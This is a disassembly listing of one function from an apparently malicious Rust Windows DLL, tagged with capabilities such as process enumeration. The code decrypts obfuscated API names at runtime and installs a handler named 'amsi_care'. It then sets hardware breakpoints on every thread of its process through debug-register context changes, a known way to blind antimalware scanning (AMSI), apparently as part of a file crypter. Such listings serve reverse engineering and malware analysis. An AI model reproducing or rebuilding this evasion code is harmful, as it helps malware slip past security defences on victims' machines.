Function at 0x1800068a0
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5b8
movaps xmmword [rsp + 0x5a0], xmm6
mov rsi, rcx
lea rcx, [rsp + 0xd0]
mov r8d, 0x4d0
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0x100], 0x10001f
cmp byte [0x180165020], 0
jne 0x180006a59
lea rax, [0x180110bdc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x60], 0x5f39dc80
mov edx, dword [rsp + 0x60]
call sym.obfstr::xref::inner::h5ad4f3cf6bbf93fa
movabs rcx, 0xfa784a188bfb5972
xor rcx, qword [rax]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 8
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
xor eax, eax
cmp rax, qword [rsp + 0x30]
jno 0x18000704c
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov rcx, rbx
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
jne 0x18000696e
mov rcx, rbx
call sub.kernel32.dll_LoadLibraryA
test rax, rax
je 0x180007018
mov r14, rax
lea rax, [0x18010bfaf]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x60], 0x15fa94e5
mov edx, dword [rsp + 0x60]
call sym.obfstr::xref::inner::h0e0f4826910e0207
movabs rcx, 0x8e23026086a13edd
xor rcx, qword [rax]
mov edx, 0x2381dfb7
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xc
shr eax, 8
xor al, 0x42
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x58], edx
mov byte [rsp + 0x5c], r8b
mov byte [rsp + 0x5d], al
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 0xe
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x30], rax
jne 0x18000708e
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov rcx, r14
mov rdx, r12
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x180006de4
mov byte [0x180165020], 1
mov qword [0x180165028], rax
mov byte [r12], 0
test r15, r15
je 0x180006a40
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbx], 0
test rdi, rdi
je 0x180006a59
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
cmp byte [0x180165030], 0
jne 0x180006bc8
lea rax, [0x18010dbf7]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x60], 0xedd0dce1
mov edx, dword [rsp + 0x60]
call sym.obfstr::xref::inner::h0b06c4fb39c72711
movabs rcx, 0xdbda0c704b4516b9
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0x1a
mov qword [rsp + 0x50], rcx
mov byte [rsp + 0x58], al
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 9
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
xor eax, eax
cmp rax, qword [rsp + 0x30]
jno 0x1800070cd
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov rcx, rbx
call sub.kernel32.dll_GetModuleHandleA
mov r14, rax
lea rax, [0x180109b5f]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x60], 0x3a526d79
mov edx, dword [rsp + 0x60]
call sym.obfstr::xref::inner::he68e85f9af73add7
movabs rcx, 0x4f356ce8260712c
xor rcx, qword [rax]
mov edx, 0xab7e9abb
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x4f
shr eax, 8
xor al, 0x13
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x58], edx
mov byte [rsp + 0x5c], r8b
mov byte [rsp + 0x5d], al
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 0xe
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x30], rax
jne 0x18000710c
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov rcx, r14
mov rdx, r12
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x180006de4
mov byte [0x180165030], 1
mov qword [0x180165038], rax
mov byte [r12], 0
test r15, r15
je 0x180006baf
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbx], 0
test rdi, rdi
je 0x180006bc8
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0xa0], rsi
lea rdx, [sym.crypt_file::amsi_care::exception_handler::h8e66a00b91476861]
mov ecx, 1
call sub.kernel32.dll_AddVectoredExceptionHandler
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
mov ebp, eax
mov esi, dword [rsp + 0x80]
mov rax, qword [0x180143fe8]
movzx eax, byte [rax]
mov ecx, 0x100000
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x18000703d
mov dword [rsp + 0x9c], 0
lea r9, [rsp + 0x9c]
mov ecx, 5
mov qword [rsp + 0x90], rax
mov rdx, rax
mov r8d, 0x100000
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x180006f87
mov eax, dword [rsp + 0x9c]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 8
mov qword [rsp + 0x40], 0
mov qword [rsp + 0xc8], rax
test rax, rax
je 0x180006f87
mov qword [rsp + 0xb0], rdi
test ebp, ebp
mov eax, 1
cmove rax, rsi
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x90]
mov rax, rcx
add rax, 0x100
mov qword [rsp + 0xb8], rax
xor esi, esi
xorps xmm6, xmm6
lea r14, [rsp + 0xa8]
lea r15, [rsp + 0x60]
lea r12, [rsp + 0x50]
nop word [rax + rax]
mov rax, qword [rsp + 0xc0]
cmp qword [rcx + rsi + 0x50], rax
je 0x180006d40
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rsi]
test rax, rax
je 0x180006e33
add rsi, rax
cmp rsi, qword [rsp + 0xc8]
jb 0x180006d00
jmp 0x180006e33
mov rax, qword [rsp + 0x90]
mov edi, dword [rax + rsi + 4]
test rdi, rdi
je 0x180006d0f
mov rax, qword [rsp + 0xb8]
lea rbp, [rax + rsi]
jmp 0x180006d7a
mov rax, qword [rsp + 0x38]
mov qword [rax + r13*8], rbx
inc r13
mov qword [rsp + 0x40], r13
add rbp, 0x50
dec rdi
je 0x180006d0f
mov qword [rsp + 0xa8], 0
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x50], 0
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x58], rax
mov rcx, r14
mov edx, 0x1fffff
mov r8, r15
mov r9, r12
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x180006d71
mov rbx, qword [rsp + 0xa8]
mov r13, qword [rsp + 0x40]
cmp r13, qword [rsp + 0x30]
jne 0x180006d60
lea rcx, [rsp + 0x30]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h77eee7df58994b4c
jmp 0x180006d60
mov qword [rsi], 0
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], 0
mov byte [r12], 0
test r15, r15
je 0x180006e16
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbx], 0
test rdi, rdi
je 0x180006ff9
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
jmp 0x180006ff4
mov r14, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
test rsi, rsi
je 0x180006f6b
movabs rdi, 0xffffffff0000fffb
mov r15, qword [rsp + 0x38]
mov edx, 0x100000
mov r8d, 1
call sym.__rust_dealloc
shl rsi, 3
xor r13d, r13d
lea rbx, [rsp + 0xd0]
lea rbp, [rdi + 3]
nop dword [rax + rax]
mov rax, r15
add rax, r13
je 0x180006f40
mov r12, qword [rax]
mov rcx, r12
mov rdx, rbx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x180006fc0
cmp byte [0x180165020], 1
jne 0x180006edd
mov rax, qword [0x180165028]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x140]
and rax, rbp
or rax, 1
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x138], 0
cmp byte [0x180165030], 1
jne 0x180006f18
mov rax, qword [0x180165038]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x140]
and rax, rdi
or rax, 4
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x138], 0
mov rcx, r12
mov rdx, rbx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x180006fc0
mov rcx, r12
call sub.ntdll.dll_NtClose
add r13, 8
cmp rsi, r13
jne 0x180006e80
mov rsi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xb0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test r14, r14
jne 0x180006fe4
jmp 0x180006ff9
test r14, r14
je 0x180006f87
mov rcx, qword [rsp + 0x38]
shl r14, 3
mov r8d, 8
mov rdx, r14
call sym.__rust_dealloc
mov edx, 0x100000
mov r8d, 1
mov rcx, qword [rsp + 0x90]
call sym.__rust_dealloc
mov rsi, qword [rsp + 0xa0]
mov qword [rsi], 0
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], 0
jmp 0x180006ff9
mov rsi, qword [rsp + 0xa0]
mov qword [rsi], 0
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], 0
test r14, r14
je 0x180006ff9
shl r14, 3
mov r8d, 8
mov rcx, r15
mov rdx, r14
call sym.__rust_dealloc
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x5a0]
add rsp, 0x5b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsi], 0
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], 0
mov byte [rbx], 0
test rdi, rdi
jne 0x180006e22
jmp 0x180006ff9
mov ecx, 1
mov edx, 0x100000
call sym.alloc::raw_vec::handle_error::hcf880acc1984e8dc
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x180115630]
mov qword [rsp + 0x20], rax
lea rcx, [0x1801155a8]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h8c76bcf5cf1fa1a7
lea r8, [rsp + 0x60]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
jmp 0x180007149
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x180115648]
mov qword [rsp + 0x20], rax
lea rcx, [0x1801155a8]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h8c76bcf5cf1fa1a7
lea r8, [rsp + 0x60]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
jmp 0x180007149
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x180115660]
mov qword [rsp + 0x20], rax
lea rcx, [0x1801155a8]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h8c76bcf5cf1fa1a7
lea r8, [rsp + 0x60]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
jmp 0x180007149
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x180115678]
mov qword [rsp + 0x20], rax
lea rcx, [0x1801155a8]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h8c76bcf5cf1fa1a7
lea r8, [rsp + 0x60]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
ud2